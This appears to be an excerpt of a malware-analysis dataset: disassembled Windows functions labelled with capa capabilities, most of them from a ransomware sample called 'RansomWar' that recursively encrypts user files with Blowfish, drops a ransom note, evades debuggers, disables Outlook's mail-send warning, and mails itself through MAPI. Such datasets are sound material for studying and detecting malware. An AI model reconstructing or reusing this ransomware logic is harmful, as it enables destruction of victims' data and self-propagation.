joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000259c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400025e6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400025e6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400025e6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400025e6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400025e6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400025e8
xor al, al
add rsp, 0x28
ret

Function at 0x140005b2c
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140005b9b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005b9b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005b9b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005b9b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005b9b
cmp dword [rcx + 0x84], 0xe
jbe 0x140005b9b
cmp dword [rcx + 0xf8], 0
je 0x140005b9b
mov ecx, ebx
call fcn.140005c40
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140005a34
nop
cmp dword [rbp + 0x20], 0
jne 0x140005bfc
call fcn.1400088bc
cmp eax, 1
jne 0x140005bec
xor dl, dl
jmp 0x140005bf6
call fcn.140008888
test al, al
sete dl
cmp dword [rbp + 0x20], 0
je 0x140005c07
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140005c10
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140005b2c

Function at 0x140005d14
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140005b2c
Function at 0x1400087ec
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140008873
mov rsi, rbx
cmp word [rax], bp
je 0x140008832
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14000881c
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140008818
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140006720
mov rdi, rax
test rax, rax
je 0x140008860
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14000d1e0
mov rbp, rdi
xor ecx, ecx
call fcn.140007470
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14000cbb0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000cbd8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14000cbd8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x100411ce0
Capabilities:
Encode data using xor

Disassembly:
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x00406910]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x00406920]
mov dword [rax], 1
mov rax, qword [0x00406930]
mov dword [rax], 1
mov rax, qword [0x00406900]
mov dword [rax], 1
mov rax, qword [0x004067c0]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x004068f0]
mov dword [0x00409008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x004068b0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x00406770]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x401594
Capabilities:
Encode data using xor

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rdi, rdx
mov rbp, r8
movzx eax, byte [rcx + 3]
shl eax, 0x18
movzx edx, byte [rcx + 2]
shl edx, 0x10
or eax, edx
movzx edx, byte [rcx]
or eax, edx
movzx edx, byte [rcx + 1]
shl edx, 8
or eax, edx
movzx esi, byte [rcx + 7]
shl esi, 0x18
movzx edx, byte [rcx + 6]
shl edx, 0x10
or esi, edx
movzx edx, byte [rcx + 4]
or esi, edx
movzx ecx, byte [rcx + 5]
shl ecx, 8
or esi, ecx
lea rbx, [r8 + 0x1000]
lea r12, [r8 + 0x1040]
xor eax, dword [rbx]
mov r13d, eax
mov rdx, rbp
mov ecx, eax
call dbg.F
xor eax, dword [rbx + 4]
xor esi, eax
mov rdx, rbp
mov ecx, esi
call dbg.F
xor eax, r13d
add rbx, 8
cmp rbx, r12
jne 0x4015f1
xor eax, dword [rbp + 0x1040]
xor esi, dword [rbp + 0x1044]
mov ecx, esi
mov edx, esi
shr edx, 0x18
mov byte [rdi + 3], dl
mov edx, esi
shr edx, 0x10
mov byte [rdi + 2], dl
movzx ebx, ch
mov byte [rdi + 1], bl
mov byte [rdi], sil
mov edx, eax
shr edx, 0x18
mov byte [rdi + 7], dl
mov edx, eax
shr edx, 0x10
mov byte [rdi + 6], dl
movzx ecx, ah
mov byte [rdi + 5], cl
mov byte [rdi + 4], al
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
Function at 0x401668
Capabilities:
Encode data using xor
Encrypt data using blowfish
Encrypt data using rc4 prga

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x70
mov rdi, r9
mov r9d, edx
lea eax, [rdx - 8]
mov r13d, 1
cmp eax, 0x30
ja 0x4018b7
and r8d, 0xffffffef
mov r13d, r8d
jne 0x4018b1
mov eax, edx
test edx, edx
je 0x40170e
movzx eax, byte [rcx]
lea r11d, [rdx - 1]
add r11, 2
mov r10d, 2
mov r9d, 0
jmp 0x4016be
add r10, 1
cmp r10, r11
je 0x40170e
shl eax, 8
movzx r8d, byte [rcx + r10 - 1]
or eax, r8d
mov ebx, r10d
and ebx, 3
jne 0x4016ba
mov esi, r9d
mov r8d, eax
shr r8d, 0x18
mov ebp, eax
shl ebp, 0x18
or r8d, ebp
mov ebp, eax
shr ebp, 8
and ebp, 0xff00
or r8d, ebp
shl eax, 8
and eax, 0xff0000
or eax, r8d
mov dword [rsp + rsi*4 + 0x30], eax
mov eax, ebx
lea r9d, [r9 + 1]
jmp 0x4016ba
test dl, 3
je 0x40174e
mov ecx, edx
not ecx
and ecx, 3
shl ecx, 3
shl eax, cl
mov r8d, r9d
mov edx, eax
shr edx, 0x18
mov ecx, eax
shl ecx, 0x18
or edx, ecx
mov ecx, eax
shr ecx, 8
and ecx, 0xff00
or edx, ecx
shl eax, 8
and eax, 0xff0000
or eax, edx
mov dword [rsp + r8*4 + 0x30], eax
add r9d, 1
mov ecx, 0
lea r8, [0x00406000]
mov eax, ecx
mov edx, 0
div r9d
mov edx, edx
mov eax, dword [r8 + rcx*4]
xor eax, dword [rsp + rdx*4 + 0x30]
mov dword [rdi + rcx*4 + 0x1000], eax
add rcx, 1
cmp rcx, 0x12
jne 0x40175a
lea rcx, section..rdata
mov rbx, rdi
lea r8, [rdi + 0x1000]
mov rbp, rdi
mov eax, 0
mov edx, dword [rcx + rax]
mov dword [rbp + rax], edx
add rax, 4
cmp rax, 0x400
jne 0x401798
add rcx, 0x400
add rbp, 0x400
cmp rbp, r8
jne 0x401793
mov qword [rsp + 0x28], 0
lea rsi, [rdi + 0x1000]
lea r14, [rdi + 0x1048]
lea r12, [rsp + 0x28]
mov r8, rdi
mov rdx, r12
mov rcx, r12
call dbg.blowfish_ecb_encrypt
movzx eax, byte [rsp + 0x2b]
shl eax, 0x18
movzx edx, byte [rsp + 0x2a]
shl edx, 0x10
or eax, edx
movzx edx, byte [rsp + 0x28]
or eax, edx
movzx edx, byte [rsp + 0x29]
shl edx, 8
or eax, edx
mov dword [rsi], eax
movzx eax, byte [rsp + 0x2f]
shl eax, 0x18
movzx edx, byte [rsp + 0x2e]
shl edx, 0x10
or eax, edx
movzx edx, byte [rsp + 0x2c]
or eax, edx
movzx edx, byte [rsp + 0x2d]
shl edx, 8
or eax, edx
mov dword [rsi + 4], eax
add rsi, 8
cmp rsi, r14
jne 0x4017da
lea rsi, [rsp + 0x28]
lea r12, [rbx + 0x400]
mov r8, rdi
mov rdx, rsi
mov rcx, rsi
call dbg.blowfish_ecb_encrypt
movzx eax, byte [rsp + 0x2b]
shl eax, 0x18
movzx edx, byte [rsp + 0x2a]
shl edx, 0x10
or eax, edx
movzx edx, byte [rsp + 0x28]
or eax, edx
movzx edx, byte [rsp + 0x29]
shl edx, 8
or eax, edx
mov dword [rbx], eax
movzx eax, byte [rsp + 0x2f]
shl eax, 0x18
movzx edx, byte [rsp + 0x2e]
shl edx, 0x10
or eax, edx
movzx edx, byte [rsp + 0x2c]
or eax, edx
movzx edx, byte [rsp + 0x2d]
shl edx, 8
or eax, edx
mov dword [rbx + 4], eax
add rbx, 8
cmp r12, rbx
jne 0x401848
cmp rbx, rbp
jne 0x401841
jmp 0x4018b7
mov r13d, 1
mov eax, r13d
add rsp, 0x70
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x4018c9
Capabilities:
Encode data using xor

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov r13, rdx
mov rbp, r8
movzx edi, byte [rcx + 3]
shl edi, 0x18
movzx eax, byte [rcx + 2]
shl eax, 0x10
or edi, eax
movzx eax, byte [rcx]
or edi, eax
movzx eax, byte [rcx + 1]
shl eax, 8
or edi, eax
movzx esi, byte [rcx + 7]
shl esi, 0x18
movzx eax, byte [rcx + 6]
shl eax, 0x10
or esi, eax
movzx eax, byte [rcx + 4]
or esi, eax
movzx eax, byte [rcx + 5]
shl eax, 8
or esi, eax
xor esi, dword [r8 + 0x1040]
xor edi, dword [r8 + 0x1044]
lea rbx, [r8 + 0x1038]
lea r12, [r8 + 0xff8]
mov rdx, rbp
mov ecx, edi
call dbg.F
xor esi, eax
mov rdx, rbp
mov ecx, esi
call dbg.F
xor eax, dword [rbx + 4]
xor edi, eax
xor esi, dword [rbx]
sub rbx, 8
cmp rbx, r12
jne 0x401934
mov eax, esi
shr eax, 0x18
mov byte [r13 + 3], al
mov eax, esi
shr eax, 0x10
mov byte [r13 + 2], al
mov eax, esi
movzx eax, ah
mov byte [r13 + 1], al
mov byte [r13], sil
mov eax, edi
shr eax, 0x18
mov byte [r13 + 7], al
mov eax, edi
shr eax, 0x10
mov byte [r13 + 6], al
mov eax, edi
movzx eax, ah
mov byte [r13 + 5], al
mov byte [r13 + 4], dil
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
Function at 0x4019b0
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x160
mov dword [rsp + 0x4c], 0
lea rbx, [rsp + 0x50]
mov edx, 0x104
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov rcx, 0xffffffffffffffff
mov eax, 0
mov rdi, rbx
repne scasb al, byte [rdi]
mov rdx, rcx
not rdx
lea rax, [rbx + rdx - 1]
movabs rsi, 0x576d6f736e61525c
mov qword [rax], rsi
mov dword [rax + 8], 0x742e7261
mov word [rax + 0xc], 0x7478
mov byte [rax + 0xe], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 2
mov edx, 0x40000000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x401b64
lea rdi, [rsp + 0x4c]
mov qword [rsp + 0x20], 0
mov r9, rdi
mov r8d, 0x52
lea rdx, str.Dear_user__r_n_some_of_your_files_have_been_encrypted_using_a_quite_strong_system._r_n
mov rcx, rax
mov rsi, qword [sym.imp.KERNEL32.dll_WriteFile]
call rsi
mov qword [rsp + 0x20], 0
mov r9, rdi
mov r8d, 0x36
lea rdx, str.Now_you_are_scared_but_I_will_not_ask_you_for_money._r_n
mov rcx, rbx
call rsi
mov qword [rsp + 0x20], 0
mov r9, rdi
mov r8d, 0x3a
lea rdx, str.If_you_want_to_get_back_your_files_you_can_do_following:_r_n
mov rcx, rbx
call rsi
mov qword [rsp + 0x20], 0
mov r9, rdi
mov r8d, 0x44
lea rdx, str.1__Contact_a_good_antivirus_company_that_will_decrypt_them_for_you_r_n
mov rcx, rbx
call rsi
mov qword [rsp + 0x20], 0
mov r9, rdi
mov r8d, 0x4f
lea rdx, str.2__You_can_send_an_email_to_back9001_yahoo.com_requesting_a_decryptor_program_r_n
mov rcx, rbx
call rsi
mov qword [rsp + 0x20], 0
mov r9, rdi
mov r8d, 0x51
lea rdx, str.3__You_can_launch_your_PC_trought_the_window_or_use_a_better_OS__like_linux__:__r_n
mov rcx, rbx
call rsi
mov qword [rsp + 0x20], 0
mov r9, rdi
mov r8d, 0x22
lea rdx, str._r_n_r_n_RansomWar_by__WarGame_eof__r_n
mov rcx, rbx
call rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, [rsp + 0x50]
lea rdx, str.open
mov ecx, 0
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
add rsp, 0x160
pop rbx
pop rsi
pop rdi
ret

Function at 0x401b6f
Capabilities:
Create process on windows
Print debug messages

Disassembly:
push rsi
push rbx
sub rsp, 0x28
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.IsDebuggerPresent
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x401bd8
mov rsi, qword [sym.imp.KERNEL32.dll_Sleep]
call rbx
test rax, rax
jne 0x401bb1
mov ecx, 0x7d0
call rsi
jmp 0x401ba1
lea rcx, str.do_you_want_to_kill_me_
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rsi, str.notepad.exe
mov rbx, qword [sym.imp.KERNEL32.dll_WinExec]
mov edx, 5
mov rcx, rsi
call rbx
jmp 0x401bcc
add rsp, 0x28
pop rbx
pop rsi
ret
Function at 0x401bdf
Capabilities:
Create thread
Get file size
Move file
Read file on windows
Write file on windows

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
mov eax, 0x11b0
call fcn.00403b60
sub rsp, rax
mov rbp, rcx
mov dword [rsp + 0x11a4], 0
lea r9, [rsp + 0x150]
mov r8d, 0
mov edx, 8
lea rcx, str._0___
call dbg.blowfish_setup
cmp eax, 1
jne 0x401c3a
add rsp, 0x11b0
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 0xc0000000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x401c28
mov edx, 0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
cmp eax, 0xffffffff
je 0x401d06
test al, 7
je 0x401c95
and ebx, 0xfffffff8
add ebx, 8
mov r13d, ebx
mov rdx, r13
mov ecx, 0x40
mov rdi, qword [sym.imp.KERNEL32.dll_GlobalAlloc]
call rdi
mov r12, rax
mov rdx, r13
mov ecx, 0x40
call rdi
mov r13, rax
test r12, r12
je 0x401d14
test rax, rax
je 0x401d14
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x11a8]
mov r8d, ebx
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x401d22
mov rcx, r12
mov rbx, qword [sym.imp.KERNEL32.dll_GlobalFree]
call rbx
mov rcx, r13
call rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401c28
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401c28
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401c28
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
test ebx, ebx
je 0x401d66
mov edi, 0
lea r14, [rsp + 0x150]
mov ecx, edi
lea rdx, [r13 + rcx]
add rcx, r12
mov r8, r14
call dbg.blowfish_ecb_encrypt
add edi, 8
cmp ebx, edi
ja 0x401d4d
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x11ac]
mov r8d, ebx
mov rdx, r13
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x401da9
mov rcx, r12
mov rbx, qword [sym.imp.KERNEL32.dll_GlobalFree]
call rbx
mov rcx, r13
call rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401c28
mov rcx, r12
mov rbx, qword [sym.imp.KERNEL32.dll_GlobalFree]
call rbx
mov rcx, r13
call rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rbx, [rsp + 0x40]
mov rdx, rbp
mov rcx, rbx
call sym.strcpy
mov rcx, 0xffffffffffffffff
mov eax, 0
mov rdi, rbx
repne scasb al, byte [rdi]
mov rsi, rcx
not rsi
lea rax, [rbx + rsi - 1]
mov dword [rax], 0x6777722e
mov byte [rax + 4], 0
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_MoveFileA]
mov eax, dword [0x00409030]
add eax, 1
mov dword [0x00409030], eax
cmp eax, 0x96
jbe 0x401c28
lea rax, [rsp + 0x11a4]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [dbg.MsgToUser]
mov edx, 0
mov ecx, 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x00409030], 0
jmp 0x401c28
Function at 0x401e60
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x388
mov r12, rcx
mov rcx, 0xffffffffffffffff
mov eax, 0
mov rdi, r12
repne scasb al, byte [rdi]
cmp rcx, 0xfffffffffffffffb
je 0x401eca
lea rbx, [rsp + 0x270]
mov r8, r12
lea rdx, str._s.
mov rcx, rbx
call sym.sprintf
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov r13, rax
lea r14, [rsp + 0x20]
lea rbp, [r14 + 0x2c]
lea r15, [0x004062a1]
jmp 0x401efa
mov byte [r12 + 2], 0
jmp 0x401e8d
lea rdx, str..rwg
mov rcx, rbp
call sym.strstr
test rax, rax
je 0x401f61
mov rdx, r14
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x402012
lea rcx, [rsp + 0x160]
mov r9, rbp
mov r8, r12
lea rdx, str._s_s
call sym.sprintf
mov ecx, 3
mov rsi, rbp
mov rdi, r15
repe cmpsb byte [rsi], byte [rdi]
seta bl
setb al
sub ebx, eax
movsx ebx, bl
test ebx, ebx
je 0x401ed2
mov ecx, 2
mov rsi, rbp
lea rdi, [0x004062a4]
repe cmpsb byte [rsi], byte [rdi]
seta dl
setb al
cmp dl, al
je 0x401ed2
test byte [rsp + 0x20], 0x10
je 0x401ed2
lea rcx, [rsp + 0x160]
call dbg.S3arch
jmp 0x401ee6
lea rdx, str..dll
mov rcx, rbp
call sym.strstr
test rax, rax
jne 0x401ee6
lea rdx, str..exe
mov rcx, rbp
call sym.strstr
test rax, rax
jne 0x401ee6
lea rdx, str..ini
mov rcx, rbp
call sym.strstr
test rax, rax
jne 0x401ee6
lea rdx, str..vxd
mov rcx, rbp
call sym.strstr
test rax, rax
jne 0x401ee6
lea rdx, str..drv
mov rcx, rbp
call sym.strstr
test ebx, ebx
je 0x401ee6
test rax, rax
jne 0x401ee6
mov ecx, 2
mov rsi, rbp
lea rdi, [0x004062a4]
repe cmpsb byte [rsi], byte [rdi]
seta dl
setb al
cmp dl, al
je 0x401ee6
lea rcx, [rsp + 0x160]
call dbg.Encrypt_File
jmp 0x401ee6
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
add rsp, 0x388
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x402030
Capabilities:
Get disk information

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
lea rsi, [rsp + 0x2d]
mov rdi, qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402086
add ebx, 1
cmp bl, 0x5b
je 0x40207f
mov byte [rsp + 0x2d], bl
mov byte [rsp + 0x2e], 0x3a
mov byte [rsp + 0x2f], 0x5c
mov byte [rsp + 0x30], 0
mov rcx, rsi
call rdi
sub eax, 3
cmp eax, 1
ja 0x40204d
mov rcx, rsi
call dbg.S3arch
jmp 0x40204d
mov ecx, 0x927c0
call rbp
mov ebx, 0x43
jmp 0x402055
Function at 0x4021c3
Capabilities:
Copy file
Get common file path
Link many functions at runtime

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x498
lea rcx, str.mapi32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x402261
lea rdx, str.MAPILogon
mov rcx, rax
mov r14, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call r14
mov r12, rax
lea rdx, str.MAPIFindNext
mov rcx, rbx
call r14
mov rsi, rax
lea rdx, str.MAPIReadMail
mov rcx, rbx
call r14
mov rbp, rax
lea rdx, str.MAPISendMail
mov rcx, rbx
call r14
mov r13, rax
lea rdx, str.MAPILogoff
mov rcx, rbx
call r14
mov r14, rax
test r12, r12
je 0x402261
test rsi, rsi
je 0x402261
test rbp, rbp
sete dl
test r13, r13
sete al
or dl, al
jne 0x402261
test r14, r14
jne 0x402275
add rsp, 0x498
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea rax, [rsp + 0x50]
mov r8d, 0x104
mov qword [rsp + 0x48], rax
mov rdx, rax
mov ecx, 0
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r15, [rsp + 0x160]
mov edx, 0x104
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov rcx, 0xffffffffffffffff
mov eax, 0
mov rdi, r15
repne scasb al, byte [rdi]
mov rdx, rcx
not rdx
lea rax, [r15 + rdx - 1]
movabs rdi, 0x6578652e6b6b6b5c
mov qword [rax], rdi
mov byte [rax + 8], 0
mov r8d, 0
mov rdx, r15
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
lea rax, [rsp + 0x270]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
call r12
test eax, eax
jne 0x4023db
mov byte [rsp + 0x280], 0
lea r12, [rsp + 0x280]
lea r15, [rsp + 0x278]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x4000
mov r9, r12
mov r8d, 0
mov edx, 0
mov rcx, qword [rsp + 0x270]
call rsi
test eax, eax
jne 0x4023bf
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0
mov r9d, pe_nt_image_headers64
mov r8, r12
mov edx, 0
mov rcx, qword [rsp + 0x270]
call rbp
test eax, eax
jne 0x402338
mov rax, qword [rsp + 0x278]
mov rax, qword [rax + 0x38]
mov rcx, qword [rax + 0x10]
lea r9, [rsp + 0x160]
mov r8, qword [rsp + 0x270]
mov rdx, r13
call dbg.SendMail
jmp 0x402338
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, qword [rsp + 0x270]
call r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x402261
Function at 0x4023e9
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push rbx
sub rsp, 0xc0
mov dword [rsp + 0x3c], 0x64
mov dword [rsp + 0x38], 0
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x20], rax
mov r9d, 1
mov r8d, 0
lea rdx, str.Identities
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edx, 0
test eax, eax
je 0x402442
mov eax, edx
add rsp, 0xc0
pop rbx
ret
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
lea rdx, str.Default_User_ID
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4024c2
lea rcx, [rsp + 0x40]
lea rdx, str.SoftwareMicrosoftOutlook_Express5.0Mail
call qword [sym.imp.KERNEL32.dll_lstrcatA]
test rax, rax
je 0x4024c2
lea rdx, [rsp + 0x40]
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x20], rax
mov r9d, 2
mov r8d, 0
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4024da
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, 0
jmp 0x402437
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 4
mov r8d, 0
lea rdx, str.Warn_on_Mapi_Send
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0xb0]
mov rbx, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rbx
mov rcx, qword [rsp + 0xb8]
call rbx
mov edx, 1
jmp 0x402437
Function at 0x402532
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create thread
Get common file path
Terminate process

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x270
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [dbg.AntiDebug]
mov edx, 0
mov ecx, 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea r8, str.RansomWar_EOF
mov edx, 0
mov ecx, 0
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x402681
lea rsi, [rsp + 0x160]
mov r8d, 0x104
mov rdx, rsi
mov ecx, 0
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rbx, [rsp + 0x50]
mov edx, 0x104
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov rcx, 0xffffffffffffffff
mov eax, 0
mov rdi, rbx
repne scasb al, byte [rdi]
mov rdx, rcx
not rdx
lea rax, [rbx + rdx - 1]
movabs rdi, 0x7265766f6365725c
mov qword [rax], rdi
mov dword [rax + 8], 0x78652e79
mov word [rax + 0xc], 0x65
mov r8d, 0
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov r8, rbx
lea rdx, [0x0040643b]
lea rcx, str.windows
